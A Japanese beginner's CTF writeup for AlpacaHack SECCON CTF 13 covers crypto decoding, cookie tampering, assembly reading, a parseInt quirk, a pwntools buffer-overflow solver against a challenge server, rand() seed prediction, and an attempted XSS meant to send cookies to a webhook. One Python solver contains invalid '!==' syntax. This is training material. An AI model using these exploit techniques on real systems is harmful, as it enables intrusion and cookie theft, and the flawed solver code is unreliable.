AlpacaHack SECCON CTF 13 決勝観戦CTF writeup

AlpacaHackで10問解けたので初心者ながら初めてwriteup書いてみようと思います(1問だけ1分オーバーでスコア乗らなかった🥲)

解けた問題

Welcome! (167 solves)

問題文にフラグがあった

Long Flag (152 solves)

問題文

出力からフラグを復元してください🐍

import os
from Crypto.Util.number import bytes_to_long

print(bytes_to_long(os.getenv("FLAG").encode()))

出力:

35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085

PyCryptodomeライブラリ内の関数bytes_to_longでFLAGが整数になっているので
同じくPyCryptodomeライブラリ内の関数long_to_bytes関数で文字列に戻してやります

Python
from Crypto.Util.number import long_to_bytes

enc_flag = 35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085

print(long_to_bytes(enc_flag).decode())

🍪 (139 solves)

問題文

ある条件を満たすとフラグが得られるようです

import Fastify from "fastify";
import fastifyCookie from "@fastify/cookie";

const fastify = Fastify();
fastify.register(fastifyCookie);

fastify.get("/", async (req, reply) => {
reply.setCookie('admin', 'false', { path: '/', httpOnly: true });
if (req.cookies.admin === "true")
reply.header("X-Flag", process.env.FLAG);
return "can you get the flag?";
});

fastify.listen({ port: process.env.PORT, host: "0.0.0.0" });

ソースコード

問題文でフラグを探してみると、req.cookies.admin"true"の場合にフラグが得られるようです。

ということでサイトのクッキーのadmintrueに変えるとX-Flagにフラグが出ていました。

Beginner’s Flag Printer (121 solves)

first bloodでした、うれしい

問題文

フラグを出力するアセンブリです🤖

.LC0:
.string "Alpaca{%x}\n"
main:
push rbp
mov rbp, rsp
sub rsp, 16
mov DWORD PTR [rbp-4], 539232261
mov eax, DWORD PTR [rbp-4]
mov esi, eax
mov edi, OFFSET FLAT:.LC0
mov eax, 0
call printf
mov eax, 0
leave
ret

アセンブリを読んでいきます。

.LC0:
.string "Alpaca{%x}\n"

この部分は、 .LC0 というラベルがつけられた領域です。LC0はLocal Constantの略で、文字列などの定数を表します。

main:
push rbp
mov rbp, rsp
sub rsp, 16

関数のプロローグです。領域を確保しています

        mov     DWORD PTR [rbp-4], 539232261

先ほど確保した領域、rbp-4539232261を代入しています

        mov     eax, DWORD PTR [rbp-4]
mov esi, eax
mov edi, OFFSET FLAT:.LC0

esi539232261を代入しています。
edi"Alpaca{%x}\n"というstringを代入しています。

esiprintfの第二引数として使用され、ediは第一引数として使用されるので、printf("Alpaca{%x}\n",539232261);となりました。

        mov     eax, 0

printfに浮動小数点引数を渡してないよーーっていってるところ。そういう規約らしい。

        call    printf

printf関数を呼び出し、つまり、printf("Alpaca{%x}\n",539232261);

%xは、16進数で値を表示するフォーマット指定子なので
フラグは、Alpaca{539232261を16進数にした値}となります。

        mov     eax, 0

return 0;プログラムの終了コード

        leave
ret

関数のエピローグと呼ばれる部分

parseInt (89 solves)

a < b && parseInt(a) > parseInt(b) となるような ab を見つけてください🐟

const rl = require("node:readline").createInterface({
input: process.stdin,
output: process.stdout,
});

rl.question("Input a,b: ", input => {
const [a, b] = input.toString().trim().split(",").map(Number);
if (a < b && parseInt(a) > parseInt(b))
console.log(process.env.FLAG);
else
console.log(":(");
rl.close();
});

parseIntくんは、いろいろありすぎて困ります。

googleしまくってると次のような記事を見つけました。
https://makky12.hatenablog.com/entry/2022/02/07/120500

数値が小さすぎると、5e-7みたいな表記になるらしく、文字列より前の5だけが出力されるらしい。

ということは、逆でも行けるのではと試してみると、いけた

でも、逆にこっちからe表記で入力すると通るんだ

ということで、a=0.0000005 b=4 にするとフラグゲット!

trippple (81 solves)

tripleじゃなくてtripppleだ。CTFの問題ってネーミングセンスいい問題多くない?

出力からフラグを復元してください🐍

import os
from Crypto.Util.number import getPrime, bytes_to_long

m = bytes_to_long(os.getenv("FLAG").encode())
p = getPrime(96)
n = p * p * p
e = 65537
c = pow(m, e, n)

print(f"{n,c=}")

出力:

n,c=(272361880253535445317143279209232620259509770172080133049487958853930525983846305005657, 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184)

まず、普通のRSAと何が違うかを考えると、nが違いますね。

通常では異なる素数p,qですが、今回はp^3となっています。

なので、nの立方根を求めることで、pを求めることができます。
gmpyiroot関数を使用して求めます。

Python
import gmpy2
p = gmpy2.iroot(n,3)[0]

次に、秘密鍵dを求めるために、φ(n)が知りたいです。

1からp3までの整数のうちp3と互いに素ではない整数は、pの倍数のみです(pは素数なので)

pの倍数が何個あるかなーと考えてみると、p, p+p, p+p+p, …, p3 と、p分空けて、p3まであるので、p3 / p = p2 となり、p2個あります。

よって、p3からp2を引いた値がφ(n)となります。

Python
from Crypto.Util.number import long_to_bytes
import gmpy2

n = 272361880253535445317143279209232620259509770172080133049487958853930525983846305005657
c = 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184
e = 65537

# nの立方根
p = gmpy2.iroot(n, 3)[0]

# オイラーのファイ関数
phi_n = (p**3) - (p**2)

# 秘密鍵の計算
d = gmpy2.invert(e, phi_n)

# メッセージの復号
m = pow(c, d, n)

# フラグの復元
flag = long_to_bytes(m).decode()

print(flag)

danger of buffer overflow (78 solves)

危険です

以下ソースコード

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void print_flag() {
char flag[256];
int fd = open("./flag.txt", O_RDONLY);
if (fd < 0) { puts("./flag.txt not found"); return; }
write(1, flag, read(fd, flag, sizeof(flag)));
}

void bye() {
puts("bye!");
}

int main() {
setbuf(stdout, NULL);

char buf[8];
void (*funcptr)() = bye;

printf("address of print_flag func: %p\n", print_flag);
printf("gets to buf: ");
gets(buf);
printf("content of funcptr: %p\n", funcptr);
funcptr();
return 0;
}

タイトルの通りバッファオーバーフローでした。

ブレークポイントgets直後に設定してスタックを見てみると、こんな感じになったのでバッファオーバーフローが成功しそうです。

void (*funcptr)() = bye;関数ポインタといって、funcptrに関数のアドレスを入れるとその関数をfuncptr()という感じで呼び出せる。

つまりbufに適当な文字8個とprint_flagのアドレスでfuncptrを上書きできます。

ソルバー↓

Python
from pwn import *

host = "34.170.146.252"
port = 24310

io = remote(host,port)

flag_addr = int(io.recvline()[-9:-1].decode(),16)
print(flag_addr)

payload = b'A'*8
payload += p64(flag_addr)

io.sendlineafter(b"gets to buf: ",payload)
io.interactive()

play with memory (75 solves)

1, 2, 3, 4, 5!

ソース

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void print_flag() {
char flag[256];
int fd = open("./flag.txt", O_RDONLY);
if (fd < 0) { puts("./flag.txt not found"); return; }
write(1, flag, read(fd, flag, sizeof(flag)));
}

int main() {
setbuf(stdout, NULL);

int number = 0;
printf("input your number!: ");
scanf("%4s", &number);

if (number == 12345) {
print_flag();
} else {
printf("number: %d (0x%x)", number, number);
}
return 0;
}

4文字までしか入力できないのに、どうやって12345を入力するのかという問題?

まず、scanf("%4s", &number) は文字列として入力を読み込みますが、数値型の変数であるnumberにそれを格納しようとしています。

なので、例えば1を入力してみると、メモリには1のASCIIコードの0x31が格納されて以下のように出力されていました。

input your number!: 1
number: 49 (0x31)

よって、C言語ではメモリにリトルエンディアンで値が格納されることに注意しながら、12345(0x3039)を入力するために、「9」(0x39)「0」(0x30)という文字列を入力することでフラグが得られます。

42 (40 solves)

出力からフラグを復元してください🐍

import os
from Crypto.Util.number import getPrime, bytes_to_long

x = bytes_to_long(os.getenv("FLAG").encode())
for _ in range(42):
x *= getPrime(42)
print(x)

出力:

1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387

42bitのランダムな素数を42回かけているらしい

ということは、出力を素因数分解して、42bitの素数42個を取り除いたらフラグがでてきそう。

factordbで試すぞ!!(素因数分解してくれるサイト)

3と23とめっちゃ大きい数だけでてきた…

factordbで素因数分解できないのでどうしようかと調べていたらこのようなサイトを見つけた。
https://www.alpertron.com.ar/ECM.HTM

見事に素因数分解してくれました!!

あとはこれから桁が明らかに違う因数を持ってきたらフラグだ!

ソルバー↓

Python
from Crypto.Util.number import long_to_bytes

n = 360296424708927327075211324489217 * 64527453873583290390233 * 3 * 23

print(long_to_bytes(n).decode())

Can U Keep A Secret? (31 solves)

ギリギリ時間オーバーなって、upsolvedになってしまった😫

Or …?

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main() {
srand(time(NULL));
unsigned int secret = rand(), input;
printf("secret: %u\n", secret);

// can u keep a secret??/
secret *= rand();
secret *= 0x5EC12E7;
scanf("%u", &input);
if(input == secret)
printf("Alpaca{REDACTED}\n");
return 0;
}

乱数のシードが時間なので、乱数は予測できそうです。

同じ時間に実行したら同じ乱数を得られるのですが、サーバと自分の環境では少しラグが生じるので、いろいろ試していると、自分の環境での時間+1秒で一致することが多くなることがわかりました。

なので、以下のようなプログラムを書きました。

C
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main() {
    srand(time(NULL)+1);
    unsigned int secret = rand(), input;
    printf("%u\n", secret); 

    // can u keep a secret??/
    secret *= rand();
    secret *= 0x5EC12E7;
    printf("%u\n",secret);
    return 0;
}

そして、これをcheck.outにして、以下のようなソルバーを書きました。

Python
from pwn import *

host = "34.170.146.252"
port = 59556
io = remote(host,port)

el = process("../can-u-keep-a-secret/check.out")
first = el.recvline()
true_secret = io.recvline()[8:]
if first !== true_secret:
  exit(1)
else:
  print(first,true_secret)
  send = el.recvline()
  print(send)
  io.interactive()

これで、最初のsecretの値が一致した場合、同じ時間でまた次のrand()が実行されてフラグが得られると思ったのですが、なかなか得られません。

行き詰まってふと、Ghidraで逆コンパイルしてみると、以下のようになりました。

そして、僕が与えられたソースからコンパイルしたものの逆コンパイルはこちらです。

なんと!!与えられたファイルは最初の乱数を再利用しています!!

つまり、初めに表示されるsecretの値に0x5EC12E7をかけるだけでフラグゲットです

UpSolves

Concurrent Flag Printer (3 solves)

並行処理にしなければフラグが出力されたのに😩

絶対に正攻法ではないやりかたで解いてしまった。

問題文に並行処理うんぬんかんぬん書かれていたのでとりあえず大量に実行してみると以下のような結果になった。

flag: Alprp}lef~dyyJBZc}
flag: \x07\x1b\x0a\x08;!JJC[VTLDGZD}
flag: ;9%?Tytv\x7fLTIJJBZc}
flag: 64%\x08\x12\x10{vvEF^WORku}
flag: A]paca{HALTWJRLLu}
flag: \x07\x16\x14\x08\x0a\x10{r\x7fLTIIWT\D}
flag: ;'\x0a\x10\x12\x10{HELTTWITLu}
flag: ;\x16\x0aa{yJHKFF^FXELu}
flag: A]LVTy{vvEFOWOQYD}
flag: A]Laca{HEEFOWOQLu}
flag: \x07lpaRPR[[ALOWITLu}
flag: \x07ln\x7fcytvuFOWWIAY`}
flag: ;PLNcaheVLTTLROLu}
flag: 6\x1bprcntvvum^WIAYD}
flag: 64%\x08ca{rABOOQITLD}
flag: \x07\x1b\x19rcyprqBOWIIQhu}
flag: A]_NTy{HHELOWJRZD}

ここで、なんかフラグがうっすりと見えてきて、ある文字列がうかんできました。HELLOWORLD

まさかなと思って一応出してみると正解でした…

こんな推測みたいな解き方していいのか?

解けなかった問題

csv2json (15 solves)

DOMPurifyを使用してサニタイズしていたので調べてみると以下のツイートを発見しました。

そして、これをそのまま試してみると見事にアラートが実行されました。

XSSが成功したのであとは、webhookなどにfetchでクッキーを送信したら終わりだーと思ったていたのに、なぜかクッキーが送信されませんでした…

httpOnly属性もついていないと思うのでなぜなのかがわかりませんでした…

dinosaur (8 solves)

プロトタイプ汚染かと思ってがんばったけどダメだった

感想

初めてリアルタイムでCTFに参加しましたが、初心者にも解きやすい問題がたくさんあって楽しかったです。

もっと強くなりたいなと思いました。

コメントする

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

上部へスクロール